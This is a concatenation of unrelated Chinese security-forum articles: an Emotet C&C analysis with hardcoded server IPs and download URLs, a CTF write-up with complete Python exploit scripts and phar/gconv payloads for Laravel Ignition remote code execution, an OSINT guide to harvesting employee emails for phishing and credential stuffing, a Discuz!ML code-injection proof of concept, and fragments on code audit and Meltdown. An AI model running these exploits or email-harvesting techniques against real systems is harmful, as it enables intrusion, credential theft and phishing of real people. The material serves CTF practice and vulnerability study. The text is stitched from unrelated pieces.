窗口创建完毕后，WindowProc函数会收到一个WM_CREATE消息，然后调用SetTimer函数，使系统每隔200ms发布WM_TIMER消息，再次回调窗口的WindowProc函数。
图3. 调用SetTimer函数
下面我们来看看这个WindowProc函数。这个函数的伪代码如图4所示。
图4. WindowProc函数
**五、Case 6代码分支**
在图4代码的Case 6分支中，恶意软件从目标设备上收集系统信息，包括计算机名、国别名、所有正在运行的进程名以及微软Office
Outlook是否安装的相关信息。之后恶意软件将收集到的所有信息存放到某个内存缓冲区中再进行加密。正准备加密的数据如图5所示。
图5. 从受害者系统上收集的信息
我们可以看到，这些信息的第一部分是计算机名，后面的“16 00 01 00”代表的是CPU信息。接下来是正在运行的进程名，之后的“Microsoft
Outlook”字段表明这台主机中安装了微软Office
Outlook软件。你可能还会注意到进程列表中包含“OllyDBG.exe”。根据我的分析，我发现恶意软件的命令控制（C&C）服务器会检查进程名，如果服务器发现受害者主机上正在运行与调试工具有关的进程（如OllyDbg、WinDbg、IDA
Pro等），那么它会返回不同的响应。在本文案例中，服务器返回了新版本的恶意软件，使恶意软件自身不断升级，直至这些调试工具退出为止。
加密完成后，恶意软件将加密过的数据、加密密钥以及哈希值一起存放到一个新创建的缓冲区中，之后会进入case 7代码分支中。
**六、Case 7代码分支**
这个分支的主要功能是连接到C&C服务器，将已收集的数据发送给服务器，同时也会接收C&C服务器返回的数据。
C&C服务器的IP及端口信息都被硬编码在恶意软件中。这个版本的恶意软件中共包含11个相关地址，如下所示：
004175D0 ; DATA XREF: WindowProc+257r
004175D0 ;sub_403AE0+Co
004175D0 dd 0D453A62Dh ;212.83.166.45
004175D4 dd 1F90h ;8080
004175D8 dd 0ADE68843h ;173.230.136.67
004175DC dd 1BBh ;443
004175E0 dd 0ADE0DA19h ;173.224.218.25
004175E4 dd 1BBh ;443
004175E8 dd 68E38922h ;104.227.137.34
004175EC dd 1BA8h ;7080
004175F0 dd 894AFE40h ;137.74.254.64
004175F4 dd 1F90h ;8080
004175F8 dd 0BCA5DCD6h ;188.165.220.214
004175FC dd 1F90h ;8080
00417600 dd 558FDDB4h ;85.143.221.180
00417604 dd 1BA8h ;7080
00417608 dd 77521BF6h ;119.82.27.246
0041760C dd 1F90h ;8080
00417610 dd 0C258F607h ;194.88.246.7
00417614 dd 1F90h ;8080
00417618 dd 0CED6DC4Fh ;206.214.220.79
0041761C dd 1F90h ;8080
00417620 dd 68EC02FDh ;104.236.2.253
00417624 dd 1BBh ;443
函数会提取case
6分支中生成的数据，使用base64编码这些数据，然后将编码后的数据作为Cookie值发送给C&C服务器。使用Wireshark抓取的传输报文如图6所示：
图6. 将已收集的系统信息发送给C&C服务器
图6中，C&C服务器返回报文的状态码为“404 Not
Found”。服务器使用这种响应报文来迷惑安全分析人员，然而报文的body部分是可用的加密过的数据。服务器返回的数据接收完毕后，恶意软件会进入Case
8代码分支中。
**七、Case 8代码分支**
这个分支唯一的功能就是解密Case 7中收到的加密数据，然后进入Case 9代码分支中。
**八、Case 9代码分支**
这个分支用来处理Case 8解密后的数据。该分支对应的伪代码如图7所示：
图7. Case 9的伪代码
Case 9分支中存在一些子分支，其中“v8”分支来自于已解密的数据。以下是已解密数据的两个示例。
图8中，“08
01”代表的是具体的子分支。“08”是某种标识或者C&C命令，“01”指的是子分支编号1。从图8中，你很容易猜到这部分数据是一个.exe文件。在子分支1中，这个文件会被执行，以升级Emotet恶意软件。通常情况下，恶意软件会收到一个升级命令，因为C&C服务器已检测到受害者主机中正在运行的程序名中包含调试相关工具。恶意软件使用这种方法来保护自身不被调试，也用来迷惑安全分析人员。在子分支1中，恶意软件会将.exe文件保存到系统临时目录中，然后调用ShellExecuteW函数执行这个文件。与此同时，父进程会退出以便完成升级流程。
图8. 子分支1示例
图9. 子分支4示例
在加密流程开始前（见图5），我手动将“OllyDBG.exe”修改为另一个程序名。之后服务器返回的报文如图9所示。相应的标识变成了“08
04”，其中“04”指的是子分支4。在我们的分析中，已解密的数据中包含3个模块（.dll文件），这些文件的标识都为“08
04”，表明这些模块都会在子分支4中进行处理。如图7所示，子分支4会调用CreateThread函数，创建线程，并在某个线程函数（ThreadFunction）中运行这些模块，每个线程负责一个模块的运行。
Emotet包含三个模块，目前为止，我们只完成了其中一个模块的分析工作。我们会在另一篇文章中分析其他模块。
接下来，我们可以看一下这个模块的具体功能。
**九、线程中加载的模块**
根据我的分析，这个模块会窃取受害者主机中的凭证信息，对这些信息进行加密，然后发往C&C服务器。
当该模块在ThreadFunction中加载完成后，会从自身提取代码，并将代码插入到一个新创建的LathParams.exe进程中加以运行。新创建的进程带有一个形如“%temp%A98b.tmp”的命令行参数，“A98b.tmp”是一个临时文件，用来保存已窃取的凭证信息。
该模块可以窃取诸如Google账户、IE中保存的FTP账户、Google Talk、Office Outlook、IncrediMail、Group
Mail、MSN Messenger、Mozilla Thunderbird等的凭证信息。部分凭证如下图所示：
图10. 与邮箱有关的凭证信息
出于测试目的，我在微软Office Outlook中添加了一个测试账户，研究该模块如何工作。该账户的凭证如图11所示：
图11. 添加到Outlook中的测试账户
已窃取的数据会保存在命令行参数所指定的临时文件中，并会在ThreadFunction中进行加密、发往C&C服务器。临时文件中的凭证信息、内存中加密前的数据以及发往C&C服务器的数据分别如图12、图13及图14所示：
图12. 已窃取的凭证
图13. 加密前的数据
图14. 发往C&C服务器的数据
**十、解决方案**
FortiGuard反病毒服务已将原始的JS文件标记为JS/Nemucod.F436!tr，该文件下载的Emotet程序已被标记为W32/GenKryptik.ADJR!tr。
**
**
**十一、攻击指示器（IoC）**
**URL地址：**
"hxxp://willemberg.co.za/TwnZ36149pKUsr/"
"hxxp://meanconsulting.com/K44975X/"
"hxxp://microtecno.com/i17281nfryG/"
"hxxp://thefake.com/Y96158yeXR/"
"hxxp://cdoprojectgraduation.com/eaSz15612O/"
**样本的SHA256哈希值：**
Invoice__779__Apr___25___2017___lang___gb___GB779.js：
B392E93A5753601DB564E6F2DC6A945AAC3861BC31E2C1E5E7F3CD4E5BB150A4
**传送门**
* * *
[**【木马分析】关于Emotet变种的深入分析（二）**](http://bobao.360.cn/learning/detail/3878.html) | 社区文章 |
# VNCTF2021 EZ_laravel&&CISCN2021 filter WP
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面
这两个题目的口子一样，完全可以参照 `laravel 8 debug rce`
的漏洞，里面值得细讲的就是转换器，和不同框架的日志文件，先分析漏洞吧，框架有很多，日志也不相同，希望同样的漏洞发生在不同框架时，可以通过分析日志来变通。
## 环境准备
环境是在 win下面的。
composer create-project laravel/laravel="8.0.*" laravel8.0 --prefer-dist
cd laravel8.0
composer require facade/ignition==2.5.1
php artisan serve
## 漏洞分析
由于我们是直接创建了一个项目所以，没有出现`Ignition`（Laravel
6+默认错误页面生成器），这个错误页面生成器会提供一个`solutions`。在 这个控制器中有入口。
src/Http/Controllers/ExecuteSolutionController.php
`solution` 可控 那就可以调用任意 `solution` 的`run`方法。且参数可控。
利用点在`src/Solutions/MakeViewVariableOptionalSolution.php`
`viewFile` 可控，可以或许可以任意写， `$output` 是否可控呢？打个断点，看是否污染吧。构造如下数据
如果我们传入了`variableName`，`$output` 是不会改变的。
那么代码简化
$output=file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $output);
写入的文件 和 文件内容是没办法齐美的。写入木马自然不可以。
## 漏洞利用
原作者的思路，是尝试往日志文件中写入 `phar` 文件，然后在 `file_get_contents` 处触发 反序列化。
我们可以利用 `php://filter/write=`过滤器 来获取日志文件的内容，然后在写入过滤后的内容来，写入完整的 phar文件。
### 首先清除日志。
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
参考链接已经解释很详细了，就不造次了。
### 写入 payload
=55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00
可以先观察日志文件，日志只记录了报错信息。
[2021-05-19 07:54:58] local.ERROR: file_get_contents(=55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(=55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00): failed to open stream: No such file or directory at D:\\ctf\\phpstudy\\phpstudy_pro\\WWW\\sources\\laravel\\laravel8.0\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75)
[stacktrace]
……
可以发现 我们的`payload (xxxxx)` 出现了两次。
重点讲一下 写入phar 文件时清空干扰词遇见的的问题。
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
`quoted-printable-decode`会把我们的payload解码，
然后在再 `utf-16le->utf-8`
`utf-16le` 是两个字节编码的，
可以看一下，其实 相当于 就是 将 `1234 => 1\02\03\04\0`
我们写入的`payload`也是这种形式的，我们希望在 `utf-16le -> utf-8` 的时候我们的`payload`可以得到正确的解码
那么就需要 payload 前面的字符数量是 偶数个。
喔？奇数个？我们是有两个`payload`在日志文件中的，这两个payload中间也是奇数个的。
而日志文件是奇数个的。
xxxx | payload | xxxx | payload | xxxx
---|---|---|---|---
奇数 | 偶数 | 奇数 | 偶数 | 奇数
这样的话我们可以尝试复写一个前缀进去，
xxxx | AA | xxxx | AA | xxxx
---|---|---|---|---
奇数 | 偶数 | 奇数 | 偶数 | 奇数
xxxx | payload | xxxx | payload | xxxx
---|---|---|---|---
奇数 | 偶数 | 奇数 | 偶数 | 奇数
这样的话，我们处于前面位置的`payload` 就会在转码后 完整保留下来。当我把`payload` 换成phar
的链子的时候，出现了错误，我看有的师傅会在 `payload` 后面再加一个 A，问题是解决了。可能日志的问题吧。但加前缀在一定程度上一定没问题的。
如果在写入phar文件的时候出现了问题，不妨再在`payload`后加一个 A 后缀吧。
贴个自己写的exp吧。
import requests
import json
url = "http://127.0.0.1:8000/_ignition/execute-solution"
#清空
file1='php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log'
#payload
s='PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQpgAQAAAgAAABEAAAABAAAAAAAJAQAATzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6Mzp7czoxNjoiACoAcGFzc3RocnVMZXZlbCI7aTowO3M6OToiACoAYnVmZmVyIjthOjE6e3M6NDoidGVzdCI7YToyOntpOjA7czo0OiJjYWxjIjtzOjU6ImxldmVsIjtOO319czoxMDoiACoAaGFuZGxlciI7TzoyODoiTW9ub2xvZ1xIYW5kbGVyXEdyb3VwSGFuZGxlciI6MTp7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fQUAAABkdW1teQQAAABT2KRgBAAAAAx+f9ikAQAAAAAAAAgAAAB0ZXN0LnR4dAQAAABT2KRgBAAAAAx+f9ikAQAAAAAAAHRlc3R0ZXN07IzUmEt8iAPk56fX9y7EGC+LREcCAAAAR0JNQg=='
file2=''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper()+'A'
# 清楚干扰字
file3='php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log'
file4='phar://../storage/logs/laravel.log'
def getpayload(file):
payload = json.dumps({
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": file
}
})
return payload
headers = {
'Content-Type': 'application/json'
}
def write():
res=requests.request("POST", url, headers=headers, data=getpayload(file1))
if 'ErrorException' in res.text:
requests.request("POST", url, headers=headers, data=getpayload(file1))
requests.request("POST", url, headers=headers, data=getpayload('AA'))
requests.request("POST", url, headers=headers, data=getpayload(file2))
res=requests.request("POST", url, headers=headers, data=getpayload(file3))
if 'ErrorException' in res.text:
print('写入失败，重来喽')
write()
当然这个漏洞还可以利用 `file_put_contents` 通过 `ftp` 被动模式 打`ssrf`。
## 题目
### [VNCTF 2021]Easy_laravel
给了源码，phar文件写入日志的漏洞还在，但是要重新找一个链子。
找 `__destruct`
`Importconfigurator` 类中
找 `__call()`
`HigherOrderMessage`类中
这里可以实例化任意类，并调用其任意方法。
找存在危险函数的方法。
`Mockclass` 类
这里可以执行任意代码。
<?php
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
private $parent;
private $route;
public function __construct($class){
$this->parent = $class;
$this->route = 'test';
}
}
}
namespace Mockery{
class HigherOrderMessage{
private $mock;
private $method;
public function __construct($class){
$this->mock = $class;
$this->method = 'generate';
}
}
}
namespace PHPUnit\Framework\MockObject{
final class MockTrait{
private $classCode;
private $mockName;
public function __construct(){
$this->classCode = "phpinfo();";
$this->mockName = 'jiang';
}
}
}
namespace{
use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
use \Mockery\HigherOrderMessage;
use \PHPUnit\Framework\MockObject\MockTrait;
$m = new MockTrait();
$h = new HigherOrderMessage($m);
$i = new ImportConfigurator($h);
$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> addFromString("test.txt","test");
$phar -> setStub("GIF89a"."<?php __HALT_COMPILER();?>");
$phar -> setMetadata($i);
$phar -> stopBuffering();
echo base64_encode(file_get_contents('phar.phar'));
}
?>
将payload 带进上面的 exp，打不通？这就是 在后面加’A’的问题了，去掉就可以了。
ban了 `iconv` 和`iconv_strlen`。 有猫腻哈哈。留了 `putenv`，但还ban了 `mail` 应该就是利用
`php://filter` 中的 `iconv`转换器来加载恶意so 了，还开了 `open_basedir`
漏洞原型如下
<https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80>
先写一个可持续利用log 吧，不然每次都要重新打，很烦。
`jiang.phar` 内容是一个 `eval($_GET[cmd])`的木马
用`glob` 和 `ini_set`都没绕过 这`open_basedir`，很奇怪。
guoke师傅的wp里说 有 `/readflag`，
在传入 `.so` 文件和 `module`文件的时候，不能从远程`vps` 上下载，只能分段传输了，切记 分段传输的时候
文件的完整性，如果最后没打通，来检查检查 `.so`文件是否完整。
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
system("/readflag > /tmp/flag");
exit(0);
}
gcc payload.c -o payload.so -shared -fPIC
gconv-modules
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2
在exp 中加入这个函数，跑就好了，上面的 `write`函数可以不用执行了，记得修改`phar://`。
def read():
parm="?cmd=print_r(scandir('/tmp'));putenv('GCONV_PATH=/tmp/');file_put_contents('php://filter/write=convert.iconv.payload.utf-8/resource=/tmp/jiang','jiang');"
res=requests.request("POST", url=url+parm, headers=headers, data=getpayload(file4))
while 'flag' not in res.text:
res=requests.request("POST", url=url+parm, headers=headers, data=getpayload(file4))
print('continue')
parm="?cmd=echo file_get_contents('/tmp/flag');"
res=requests.request("POST", url=url+parm, headers=headers, data=getpayload(file4))
print(res.text.split('</html>')[1])
read()
这里比较玄学，因为在转换器触发.so 文件的时候，并不一定会成功，第一次做的时候 十几次，写wp再做的时候 跑了上百次，多发几次。（ fuck 我加的
### CISCN filter
题目就给了个 `composer.json`文件 和 控制器，hint是 log的配置
log可以写进本地配置自己打的，在`config/web.config` 里
同样是把报错内容写进 日志里。
不一样的是，日志的 `payload(xxxxxxx)` 只出现了一次，
我们 编码后的`payload` 一定是偶数，
前偶后偶，不用加前缀了，直接打`payload`就可以了诶。
本地环境可能有些问题，牛头不对马嘴了
这两个日志不同的 是 ??? 没了。
长度还变成了 奇数个。
不过不影响，因为我们 payload前面是不变的偶数，影响的只有后面，只有保证后面是偶数个，在 `utf-16le->utf-8` 的时候不报错就OK。
加一个 A 就行。
这道题的坑在
这里，
yii这个版本没可用的链子。
需要用 `monolog`组件的链子打
exp如下
import requests
import os
s='PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQq+AgAAAgAAABEAAAABAAAAAABnAgAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6Njoic29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czo0OiJjYWxjIjtzOjU6ImxldmVsIjtOO319czo4OiIAKgBsZXZlbCI7TjtzOjE0OiIAKgBpbml0aWFsaXplZCI7YjoxO3M6MTQ6IgAqAGJ1ZmZlckxpbWl0IjtpOi0xO3M6MTM6IgAqAHByb2Nlc3NvcnMiO2E6Mjp7aTowO3M6NzoiY3VycmVudCI7aToxO3M6Njoic3lzdGVtIjt9fXM6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6NDoiY2FsYyI7czo1OiJsZXZlbCI7Tjt9fXM6ODoiACoAbGV2ZWwiO047czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE0OiIAKgBidWZmZXJMaW1pdCI7aTotMTtzOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjc6ImN1cnJlbnQiO2k6MTtzOjY6InN5c3RlbSI7fX19BQAAAGR1bW15BAAAAHsMpWAEAAAADH5/2KQBAAAAAAAACAAAAHRlc3QudHh0BAAAAHsMpWAEAAAADH5/2KQBAAAAAAAAdGVzdHRlc3SLzw7MRTDv+IZ+8iRcMtNeQdjWsQIAAABHQk1C'
payload=''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper()
url = "http://localhost:8080/?file="
proxies = {
"http": None,
"https": None,
}
# 清空
file1='php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log'
#payload
file2=payload
# 清楚干扰字
file3='php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log'
file4='phar://../runtime/logs/app.log'
def write():
res = requests.get(url=url+file1,proxies=proxies)
while 'Congratulations!' not in res.text:
res = requests.get(url=url+file1,proxies=proxies)
#题目环境可能 payload前面偶数后奇数，所以后面再加以个 A （payload永远偶数）
#requests.get(url=url+'AA',proxies=proxies) #题目环境的日志可能不一样，如果加上A 出错，不加A 出不来，就把这个注释去掉
requests.get(url=url+file2+'A',proxies=proxies) # 本地如果加了A 出错，就把A去掉，
res = requests.get(url=url+file3,proxies=proxies)
if 'Congratulations!' not in res.text:
print('重来！！')
else:
print('写入成功')
read()
def read():
res=requests.get(url=url+file4,proxies=proxies)
print(res.text)
write()
这是弹计算器的，buu上复现的话，记得换`payload`。
每个人的目录结构不同，日志也会不一样，原理大抵如此，如果有遇到什么问题还请告知，还有爱春秋春季赛TP5.1.41的类似问题，也方便解答。
参考
<https://www.ambionics.io/blog/laravel-debug-rce>
<https://xz.aliyun.com/t/9030> | 社区文章 |
@rcelpe
技术意义
前面我有一篇文章写了关于对公司资产查找方面的技术细节，
接下来这篇文章主要是对“人”为目标发起的OSINT。
OSINT
美国国防部把它定义成"从公开可用的信息所产生的，定期进行搜集、萃取和供应，
以满足特定的情报需求。"
从字面理解更简介一些，从公开来源收集情报(Open-source intelligence)
它提出的思维方法中的六合分析法
何事,何人,何地,何时,何因,如何
在本文中不做讨论，
这篇文章只关注需求层，
即确定目标，确定工作对象
更多一些细节介绍可以访问具有教育意义的维基百科进行完整阅读
(<https://en.wikipedia.org/wiki/Open-source_intelligence>)
Linkedin和公司
Linkedin虽说是一个社交媒体平台，但在我看来它主要是用来找工作的；
它基本上是一个在线的简历页面，里面有你现在的工作，之前的工作，
就读的大学，专业等这种信息，自然而然的用来找针对公司的特定员工，
利用它们非常的方便。
Linkedin API
有一个知识点是如果目标的电子邮件和他/她使用的领英账户是一致的，
你就可以使用这个"sales API"查找其个人资料页面，
但是在使用它之前你需要登录，然后发送以下请求根据电子邮件查找目标
<https://www.linkedin.com/sales/gmail/profile/viewByEmail/[email protected]>
即弃服务和注册
尝试谷歌搜索“即弃电子邮件”这样的字眼，
可以找到很多匿名、临时的电子邮件，
现在用于注册的都是电子邮件、手机号为主要条件，
“临时邮箱”、“临时手机号”这样的服务也可以在搜索引擎找到，
即弃是一种对服务于隐私保护的概念，
目前还没有出现这样一种完整的商业模式，
随着对人们对隐私和繁琐的网络生活与现实生活之间的分界线的理解，
也许会涌现出很多这样的商业公司在某一天。
邮箱:<https://www.mytrashmailer.com>
手机号:<https://www.visitorsms.com>
通过使用这样的服务，我在20秒内创建了一个领英账户
查找员工
在领英上搜索对应公司，点击“查看该公司的全部员工”按钮，
就可以收集到很多员工、职务、当然也不乏联络方式例如电子邮件这样的信息，
用于红队过程中进行网络钓鱼时使用。
关于账户
使用领英应该意识到一个问题，就是你查看其他人的个人资料，通常至少必须拥有
共同的朋友，所以如果你的朋友列表人很少，那相对的你能找到的结果也就会很少，
另外一个就是你无法查看所有员工例如大企业几万甚至几十万这种，你只能看100页，
像这些限制如果你想绕过，你可能需要那种拥有大量好友列表的账户，
作为红队评估时期如果迫切需要的时候，可以在一些比较万能的交易平台进行
模糊搜索来尝试购买。
对目标公司收集电子邮件
如果你是红队评估的老手，那你肯定用过theHarverster，
它会抓取google的标题，结果，描述，元数据并且查找电子邮件地址，
<https://github.com/laramies/theHarvester>
它对于爬取protonmail这样的邮箱后缀会有很多结果，但是针对公司例如谷歌这样的，
就没有很好的表现，
这时候我们就需要使用<https://hunter.io/>
hunter.io
大多数公司都是使用标准的电子邮件格式， 比如
[email protected]
而这个网站提供了更便捷的服务，你可以直接搜索
<https://hunter.io/search/microsoft.com>
点击来源栏目可以告诉你邮件地址的来源地址，对情报分析具有价值，
在注册方面也可以直接使用谷歌账号进行登录，十分的方便
威胁升级 --》weleakinfo.com
我不知道读者们是否了解过，国外Adobe、Linkedin、MySpace这种数据泄露的事件，
它们有很多数据仍然有转储可以恢复，但也有很多已经找不到了，
国内称这个为“社工酷”，这么一说就很好理解了。
Weleakinfo这种网站就是收集所有这些信息，然后建立一个大型快速可以检索的数据库，
你把找到的邮件地址放在里面搜索，运气好就可以得到旧密码，然后用这些账户密码尝试
他们所有的公司登录接口，所谓的“撞库攻击”。
按照上面的操作，有的大公司可能有几千个电子邮件地址，如果你仅仅靠不断的复制黏贴，
那也是大佬了，Weleakinfo提供了一个公共API，允许每秒钟3个请求
<https://weleakinfo.com/api/public>
然而在我写这个文章的时候，这个网站已经被老美干掉了，所以就当了解一下。
生成电子邮件抓取
根据Linkedin的特性，配合Google也可以做一些“无耻”的事情，
我们可以通过Google Dorking获取在公司工作的每个人的名字和姓氏列表，
把获取的信息输入到python脚本中，并且根据约定生成电子邮件地址。
<https://github.com/pry0cc/GoogLinked>
运行第一个脚本之前需要修改脚本里的公司域名为Microsoft和microsoft.com
通过管道符把结果传输到文件中以便查看
在kali上运行如果报错应该是缺少“mechanize”模块，直接解决：
sudo gem install mechanize
绕过验证码
自动化抓取Google Dorking现在会碰到一个问题就是验证码，谷歌也提升了检测能力，
往期使用的公共代理服务器或者任何已知的Tor出口节点也不起作用了，
唯一解决的办法就是使用VPN，因为大多数VPN很难检测到，只是它们之间的切换比较困难
<https://github.com/pry0cc/ProxyDock>
cd ProxyDock
mkdir VPN
这个项目解决了这样的问题，只要修改它的Dockerfile，将openvpn密钥文件添加到容器中，
然后把所有OpenVPN.ovpn文件放在新建的VPN文件包中即可，因为需要购买那个Ovpn，大约需要30美元左右，我最近的工作不需要使用这个功能就没有搭建了。
结语：
通过本文的一些手段，例如获得了电子邮件地址，可以使用Linkedin来把真实的“人”的
身份联系起来，而通过对公司邮件的收集，又可以进行一轮又一轮的循环查找，
由于涉及隐私问题，本文演示并没有进行这种身份落地比对，简而言之，
你可以找到在目标公司的所有员工，可以收集他们的姓名、职称、生活地址、电邮，
如果在红队评估需要生成一个高质量的网络钓鱼列表，和撞库之类的，这是一个很好的技术手段。 | 社区文章 |
代码来源：<http://discuz.ml/download>
### 漏洞定位
在PoC的代码中填充'.1.'使得代码出错，定位出错代码文件：
根据报错跟踪到`source/module/portal/portal_index.php`第32行。
将鼠标移动到问题函数上方查看定义函数以及关联文件的位置,可以看到template函数在`/source/function/function_core.php`中，继续跟进。
函数从 524行一直到655行 ，有点长，一张图看不完，这里直接看关键的第644行：
$cachefile = './data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
程序将缓存文件写在了`/data/template/`目录下，文件名由`DISCUZ_LANG`等多个变量组成，问题就出在这儿了，看看`DISCUZ_LANG`的值是哪儿获取来的:
可以看到从程序全部变量`$_G['config']['output']['language']`中获取了該值。继续跟进看看该值是,从哪儿设置的。
定位到`/source/class/discuz/discuz_application.php`：
在304行，系统通过Cookie获取了语言的值，并在341行定义了前面要找的`DISCUZ_LANG`，值为Cookie中获取到的`$lng`。
可以看到整个过程没有任何的过滤。总结一下：
外部参数`$lng`(即language语言)可控，导致`template` 函数生成的临时模板文件可操纵，插入自己的代码，最终`include_once`包含一下最终导致了代码注入。
既然问题摸清楚了，那这里可以搜一下其他的可利用点:
大约有60多个页面可以用的。比如论坛主页
附上一个执行命令的POC：
GET /forum.php HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Z3T2_2132_saltkey=UoA95q3Q; Z3T2_2132_language=en'.system("whoami").'; Z3T2_2132_lastvisit=1562765759; Z3T2_2132_sid=fENq7z; Z3T2_2132_lastact=1562769440%09index.php%09; Z3T2_2132_sendmail=1; Z3T2_2132_onlineusernum=1
Upgrade-Insecure-Requests: 1
### 修复
单看语言这个点，在`/source/class/discuz/discuz_application.php` 第338行之后341行之前加入：
$lng = str_replace("(","",$lng);
$lng = str_replace(")","",$lng);
$lng = str_replace("'","",$lng);
$lng = str_replace('"',"",$lng);
$lng = str_replace('`',"",$lng);
可暂缓该问题：
漏洞非原创，分析来自米斯特安全团队Web安全组CoolCat | 社区文章 |
* 序言
偶然拿到一款基于Spring开发的建站系统，简单看了看Web.xml，发现Servlet前面存在一个全局安全过滤，然后得到路由为Controller/方法名.do，接着直接定位到Class文件中，下文主要介绍本次审计中发现的安全问题。
* Xss
在XxxxxController.Class中
关键代码如下：
String callback = request.getParameter("callback");
jsonStr = ";" + callback + "(" + result.toString() + ")";
out.write(jsonStr);
前端不经过任何过滤，直接通过Request.getParameter获取参数，Out.write输出到前端解析导致Xss漏洞。
* 任意文件上传
在XxxxxController.Class中
接着跟到module类的tipOffService.saveTipOff中
可以看到没有对后缀存在任何过滤，导致任意文件上传。
关键代码如下：
String path2 = Utils.uploadFile(video, String.valueOf(hdjlPath) + "/tipOff/video");
if (Utils.isNotNullOrEmpty(tipOff.getVideo())) {
File file2 = new File(String.valueOf(SystemParamConfigUtil.getParamValueByParam("zdzyUploadPath")) + tipOff.getVideo());
if (file2.exists()) {
file2.delete();
}
}
tipOff.setVideo(path2);
* 逻辑漏洞（越权删除纠错信息）
在XxxxxController.Class中，没有做权限校验，任意不信任的用户都可以调用此类
跟到this.recoveryService.deleteRecovery中
import cn.com.trueway.cms.core.dao.RecoveryDao;
是数据库处理的包，这里传入的ID会到传入进Sql语句，不过当然程序员使用${id}防止了Sql注入。
String sql = JdbcUtil.montageSql("select t.id,t.email,t.ip,t.phone,t.name,a.msg_title,c.column_name,s.site_name from t_cms
* 未授权访问
在XxxxxController.Class中
取出所有管理员信息并且以xml的形式打印到Html页面 | 社区文章 |
作者：[白小龙，蒸米](https://weibo.com/ttarticle/p/show?id=2309404192925885035405
"白小龙，蒸米")
#### 0x00 序
1月4号的早上，突然就被Meltdown和Spectre这两个芯片漏洞刷屏了，但基本上都是一些新闻报道，对漏洞的分析和利用的信息基本为0。作为安全研究者，不能只浮在表面，还是要深入了解一下漏洞才行，于是开始研究这方面的资料。
研究后，发现其实这个硬件漏洞的影响非常广，不光是Intel，
ARM和AMD也受影响，因此基本上所有的操作系统（Windows，macOS，Linux，iOS,
Android等）都有被攻击的风险。虽然苹果已经发布了公告说全系产品（包括使用ARM的iOS设备）都会受到影响[1]，不过发现者声称还没有看到针对AMD和ARM的攻击。大家猜测原因是AMD和ARM对预测执行实现的效率略差，导致很难通过时间差来进行侧信道攻击（真是傻人有傻福，有时候笨一点反而能躲过一劫，哈哈）。
另外，根据我们分析，在操作系统层面只能够修复Meltdown攻击（在用户态调用syscall的时候对页表的进行限制），但因为Spectre是跑在内核态的，所以除了硬件上升级，暂时没法修复。那么这篇文章就来讲一下什么是Meltdown攻击，以及实战一下利用Meltdown获取Linux内核的数据。
#### 0x01 漏洞分析
Meltdown攻击的雏形其实在2017年7月就已经出现了，由Anders Fogh发表于cyber.wtf
